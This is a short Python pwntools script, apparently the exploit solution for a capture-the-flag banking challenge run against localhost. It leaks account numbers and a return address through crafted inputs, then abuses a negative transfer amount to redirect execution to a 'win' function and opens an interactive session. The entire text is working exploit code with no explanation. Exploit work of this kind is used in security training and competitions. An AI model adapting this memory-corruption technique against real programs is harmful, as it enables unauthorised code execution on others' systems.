#!/usr/bin/env python3 from pwn import * import sys args = sys.argv[1:] if args == []: args = ["nc", "localhost", "1024"] io = process(args) nums = list() for i in range(9): io.readuntil(b"choice:") io.send(b"1") io.sendline(b"A"*(82-i)) io.sendline(b"123") io.readuntil(b"Account Number: ") print(line := io.readline()) nums.append(int(line)) print(io.readline()) print(io.readline()) print() io.readuntil(b"choice:") io.send(b"1") io.sendline(b"B" * 79) io.sendline(b"123") io.readuntil(b"Account Number: ") nums.append(int(io.readline())) assert(0 not in nums) # unlucky io.readuntil(b"choice:") io.sendline(b"2") io.sendline(b"0") io.readuntil(b"Balance: ") ret = int(io.readline()) ret_off = 0x1157 win_off = 0x1270 assert(ret & 0xfff == ret_off & 0xfff) io.readuntil(b"choice:") io.sendline(b"3") io.sendline(b"0") # src io.sendline(str(nums[0]).encode()) # dst io.sendline(str(-(win_off - ret_off)).encode()) io.readuntil(b"Transfer successful.") io.sendline(b"4") io.interactive()